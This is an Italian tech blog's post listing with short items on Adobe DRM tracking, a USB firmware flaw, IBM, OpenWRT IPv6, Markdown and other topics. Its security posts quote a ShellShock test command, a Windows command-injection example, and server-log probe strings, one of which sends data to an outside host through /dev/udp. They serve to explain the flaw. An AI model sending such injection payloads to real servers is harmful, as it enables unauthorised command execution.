• Il DRM di Adobe spia gli utenti

    Gabbia dei libri / Books cageSul fatto che il DRM non sia una bella cosa ci siamo già ampiamente espressi.

    Si dice che nei social network e in molti contesti in cui non si paga per l’utilizzo l’utente è di fatto un articolo che il gestore del servizio vende a chi vuol fare pubblicità.

    Una persona che paga per avere una copia crittografata di un libro le cui chiavi sono in mano ad Adobe non si aspetta che Adobe spii ogni suo movimento fatto con il libro acquistato.

    Ars Technica e The Digital Reader hanno scoperto che l’ultima versione di Adobe Digital Editions tiene traccia di ogni tipo di utilizzo fatto con i libri acquistati e li comunica in chiaro ad Adobe. Il software non si limita a tenere traccia dei libri protetti da DRM, ma registra l’utilizzo di ogni tipo di file ePUB e comunica ad Adobe tutti questi dati. (altro…)

  • Dispositivi USB vulnerabili

    PS2251-03-Q
    by www.flashdrive-repair.com

    Questa estate era stata pubblicata la notizia di un problema di sicurezza di alcuni microcontroller USB prodotti da Phison.

    Il problema consiste nella possibilità da parte di un applicativo qualsiasi di riprogrammare il firmware di un dispositivo USB connesso ad un computer. Una volta riprogrammato, il firmware del dispositivo può comportarsi in maniera dannosa e mettere a repentaglio la sicurezza del computer a cui è connesso. I ricercatori che avevano fatto questa scoperta avevano deciso di non pubblicare alcuna informazione utile per sfruttare questa vulnerabilità.

    Pochi giorni fa Adam Caudill e Brandon Wilson hanno deciso di pubblicare su GitHub il software che sfrutta questa vulnerabilità.

    Il software pubblicato funziona con il controller PS2251-03 di Phison, che gli autori del software hanno trovato in alcuni device. Tuttavia i controller di Phison sono molto utilizzati e sicuramente la lista dei dispositivi pubblicata dagli autori non è completa.

    (altro…)

  • ShellShock anche per Windows?

    winshockSh1bumi ha pubblicato una possibile versione di ShellShock per Windows.

    In questo caso, il comando ECHO esegue anche il comando contenuto nella variabile:

    >set pippo=pluto^&ping localhost
    
    >echo %pippo%
    pluto
    
    Pinging localhost [::1] with 32 bytes of data:

    La sequenza ^& contiene il carattere di escape ^ e il carattere & che significa “esegui il comando che segue al termine del precedente”. Il carattere di escape serve a non eseguire il ping dopo il comando set, ma a mettere la stringa pluto&ping localhost nella variabile d’ambiente pippo.

    Il test è facilmente replicabile su una command line di Windows, l’immagine qui sopra è stata catturata in un Windows 7.

    L’utilizzo di file batch non è diffuso in Windows quanto gli script shell sono utilizzati in *NIX e la possibilità che qualche servizio esposto a Internet da un server Windows passi un input non sanificato ad un batch che esegue un echo di quel valore è molto inferiore ad un problema analogo su *NIX, ma il problema esiste.

  • IBM esce dal mercato x86

    Il via libera delle autorità regolatorie di USA ed Europa al passaggio di proprietà della divisione server x86 a Lenovo sancisce l’uscita definitiva di IBM dal mercato dell’hardware x86.

    Era il 12 agosto 1981 quando IBM presentava il suo PC modello 5150, 33 anni dopo Big Blue abbandona il mercato x86.

    IBM aveva già ceduto la sua divisione PC a Lenovo a fine 2004, ma aveva deciso di tenere per sé la parte server x86. Oggi è arrivato l’OK per il passaggio anche della divisione server, che verrà perfezionata entro il prossimo 1 ottobre.

    Secondo IT Candor, il mercato dei server x86 è gestito grosso modo per un quarto da HP e un quarto da Dell; dietro queste due marche al terzo posto c’era IBM che non arrivava al 6% lo scorso anno.

    Lenovo dovrà darsi da fare per risalire la china, dovrà dimostrare di avere sia un prodotto affidabile a prezzo concorrenziale sia, soprattutto, un’assistenza post vendita efficace e celere almeno tanto quanto HP e Dell. Se un PC può stare fermo una settimana, non è certo il caso di un server x86.

  • Tunnel IPv6 di HE con OpenWRT

    OpenWrtDopo l’esperienza di Fabrizio, mi sono deciso ad usare un OpenWRT per il tunnel IPv6 di Hurricane Electic.

    Avevo a disposizione un Netgear DG834GT gentilmente donato da Riccardo per questo scopo e ho deciso di metterlo finalmente in pista.

    Avevo installato OpenWRT Backfire tanto tempo fa, ma non avevo ancora avuto l’occasione di provarlo seriamente sul campo. Dopo alcuni disservizi della linea ADSL di casa ho riconfigurato la rete casalinga eliminando la VM con pfSense e semplificando un po’ la configurazione. Tuttavia questo mi aveva fatto perdere la possibilità di usare pfSense come gestore del tunnel IPv6. (altro…)

  • Programmare con la rete

    Fino a pochi giorni fa non mi ero reso conto di quanto internet potesse essere utile anche come supporto alla programmazione.
    Tutti noi sappiamo che una ricerca su internet spesso è in grado di risolvere in maniera semplice e veloce un problema che affligge il nostro codice, magari da ore: senza reinventare la ruota tutte le volte — o per evitare di spaccarsi la testa su un problema (anche banale) già incontrato mille volte — è sufficiente quasi sempre fare una ricerca su internet e leggere un post su siti come l’ottimo Stack Overflow .
    Quello che io personalmente non avevo ancora realizzato è quanto utile possano essere i siti che permettono il sandboxing del codice e il test immediato: voglio parlarvi di due di questi siti che ho iniziato a usare recentemente, nella speranza che siano utili anche a voi.

    Non programmo sul web in maniera professionale, si tratta di poco di più di un hobby: quando ho iniziato mi sono rivolto verso ASP.net in maniera abbastanza naturale per poter riciclare le mie competenze in Visual Basic e C♯. Solo dopo un po’ di pratica mi sono reso conto che non avrei potuto prescindere dall’uso di JavaScript per applicazioni client-side versatili e molto pratiche da usare in un sito web.
    JS può essere scritto direttamente all’interno di una delle edizioni di Visual Studio, oppure con l’apposito modulo nel IDE open source Eclipse, ma entrambi i prodotti mi danno l’idea di un cannone con cui sparare alla proverbiale zanzara; almeno per quanto concerne il mio caso di applicazioni modeste in lunghezza e complessità.

    Uno strumento estremamente più utile e immediato l’ho invece trovato online: si tratta di JSFiddle un tool in cui si può direttamente editare il markup HTML, il codice Javascript e gli stili CSS e vedere immediatamente il risultato nella finestra del browser. Si tratta di un progetto un po’ più recente e meno famoso di JSBin, ma che io trovo più user-firendly.
    Con questo strumento si possono salvare i frammenti di codice e condividerli. I vantaggi sono evidenti: è possible pubblicare un semplice permalink non solo al codice, ma a un esempio immediatamente eseguibile e funzionate, tutto questo su Twitter, Faceboook su blog, forum e via dicendo.
    E’ uno strumento non solo utile al programmatore per farsi aiutare più semplicemente o per mettersi un po’ in mostra, ma anche alla comunità in generale in quanto consente di condividere codice e conoscenza in maniera veloce e completa. (altro…)

  • Tentativi di exploit di ShellShock

    Poco tempo dopo l’annuncio di ShellShock i tentativi di hacking sono già iniziati.

    Questa mattina i log di alcuni server che amministro rivelano quasi tutti l’accesso con masscan spiegato in questo articolo, ma si tratta di un’analisi, non di un tentativo vero e proprio di sfruttare la vulnerabilità. In questo caso la stringa richiesta via http è quella che si vede nell’articolo.

    Anche il servizio di hosting Snel sta facendo passare la rete alla ricerca di host vulnerabili dall’IP 89.207.135.125:

    “GET /cgi-sys/defaultwebpage.cgi HTTP/1.0” 404 63579 “-” “() { :;}; /bin/ping -c 1 198.101.206.138”

    Un altro apparente test, ma con richieste più dettagliate arriva dall’IP 54.251.83.67 appartenente al cloud computing di Amazon:

    “GET / HTTP/1.1” 200 4093 “-” “() { :;}; /bin/bash -c \”echo testing9123123\”; /bin/uname -a”

    Altro tentativo dal 24.251.197.244, un IP di Cox:

    “GET / HTTP/1.1” 200 208051 “-” “() { :; }; echo -e \”Content-Type: text/plain\\n\”; echo qQQQQQq”

    Decisamente il meno amichevole di tutti il tentativo che proviene dall’IPv6 2001:4800:7812:514:1b50:2e05:ff04:c849 di un datacentre americano di RackSpace

    “GET / HTTP/1.1” 200 208133 “-” “() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444”

    Notare qui l’uso di /dev/udp descritto in questo articolo.

  • ShellShock

    È stato scoperto un baco serio in bash, che consente, in determinate situazioni, ad un attaccante di eseguire programmi arbitrari sul computer della vittima (RCE, Remote Code Execution).

    bash è probabilmente la shell più diffusa tra i sistemi *NIX, in quanto è la shell di default della gran parte delle distribuzioni Linux ed è la shell utilizzata da OSX.

    La shell è il programma che permette all’utente di eseguire altri programmi, interagire con il file system e il sistema operativo ed eseguire altre azioni in relazione all’ambiente e al tipo di shell. Oltre a bash, gli ambienti *NIX hanno, tra le altre, zsh, csh, sh. La shell di Windows è Explorer.exe, prima di Windows c’era COMMAND.COM, che alcuni sostituivano con 4DOS.

    Il metodo veloce per scoprire se una bash è vulnerabile è eseguire questo comando:

    env x='() { :;}; echo vulnerabile' bash -c "echo io sono un test"

    Se bash non ritorna un warning, ma scrive semplicemente vulnerabile e poi io sono un test, la bash è vulnerabile.

    Innanzi tutto: non è vero che ogni computer che ha bash a bordo è vulnerabile per il fatto di avere bash a bordo.

    (altro…)

  • La burocrazia .IT

    John Maynard Keynes (via Wikipedia)La mia esperienza con la registrazione dei nomi a dominio e la loro amministrazione) inizia dal 1994.

    Ricordo ancora le regole dei .IT come un solo nome a dominio per ogni società, i fax illeggibili che venivano rifiutati, i controlli periodici di raggiungibilità dell’utente postmaster, con relativi report nella mailing list del GARR, le registrazioni respinte perché il TTL non era quello desiderato o perché non c’era un record MX (il TTL e il record MX venivano corretti 5 minuti dopo l’avvenuta registrazione e nessuno si lamentava o revocava la registrazione).

    Insomma, tutta la burocrazia .IT dei primi anni.

    Nel 2014 i .IT si possono registrare senza inviare la LAR (che sia della versione corrente! poco importa se la rimandi cambiando solo il numero di versione e viene accettata comunque) e i documenti di identità via fax; ora tutti i registrar possono registrare un nome a dominio senza passare carta, esattamente come i .COM

    Non esattamente. (altro…)

  • 3, 2, 1… #CommonMark

    Chiunque operi per lavoro o hobby nel campo dell’informatica, probabilmente condivide lo stesso rapporto di odio e amore verso i file in plain text : hanno innegabili vantaggi come la portabilità, la facile interoperabilità e la semplicità di creazione.
    D’altra parte, risultano spesso difficilmente leggibili e poco versatile, non disponendo di opzioni di formattazione, nè quelle basilari come grassetti e sottolineature, nè più sofisticati come ad esempio il supporto di hyperlink.
    Questi ultimi rimangono esclusività di editor di testi e di markup più sofisticati.

    Negli anni sono stati fatti vari tentativi prendere il meglio di entrambi i mondi e unire la semplicità di file di testo alla versatilità del testo formattato: uno dei più popolari è Markdown, inventato da John Gruber e documentato principalmente in questa pagina.
    Dalla sua nascita, Markdown è stato utilizzato in maniera molto ampia: come semplice metodo per pubblicare commenti, per scrivere file ReadMe e per documentare il codice con commenti inline .

    Tuttavia questo strumento è oggetto di molte critiche, prima di tutto per alcune sue carenze.
    Una parte della sintassi risulta ambigua nella pagina di definizione e l’implementazione originale di un interprete Markdown/HTML scritta in Perl — sempre da John Gruber — è risultato contenere numerosi bug.
    Un secondo problema di questo progetto è il modo autoritario e decisamente poco aperto con cui Gruber pretende di gestirlo, con il risultato di avere poco o nessun coinvolgimento della comunità e relativa mancanza di progressi nel migliorare lo standard o il codice della sua implementazione.
    (altro…)

  • Bypassare i “blocchi” di alcuni siti

    Alcuni siti “bloccano” i contenuti sovrapponendo alla pagina un layer traslucido tipo <div style="opacity: 0.5; visibility: visible;"> e una finestra con richieste varie.

    Alcune volte il contenuto vero e proprio è presente (quindi è stato inviato al client), ma non è normalmente fruibile finché non se ne vanno la finestra di richieste e il layer semi opaco.

    Con Google Chrome si può facilmente eliminare il contenuto scocciante con questi semplici passaggi:

    • click destro + Inspect Element (l’ultima voce che appare)
    • appare nella parte inferiore il sorgente HTML della pagina
    • scorrere il codice dall’inizio e fermarsi quando viene evidenziato l’elemento da rimuovere
    • fare click destro sul codice e selezionare Delete Node
    • ripetere se restano altri pezzi da togliere
    • voilà!

    Esistono metodi analoghi con plugin o altri browser.

  • Uccide più una penna…

    Questo video mi è stato segnalato da Paolo Attivissimo.

    Le penne che hanno approvato il disegno fallato non hanno solamente stroncato le vite di Francis R. Scobee, Michael J. Smith, Ronald McNair, Ellison Onizuka, Judith Resnik, Greg Jarvis e Christa McAuliffe, ma hanno contribuito a ritardare il sogno di una vita nello spazio. Cola più sangue dalla penna di certi burocrati meschini, avidi e insignificanti che dalle mani di efferati criminali. Burocrati, legulei, azzeccagarbugli e passacarte assimilati: finirete tutti nel cestino dell’immondizia della Storia.

    Fatal accidents never happen because of just one mistake.It takes a whole chain of stupids lining up just so to put a full stop at the end of an epitaph. (Charles Stross, Fuller Memorandum)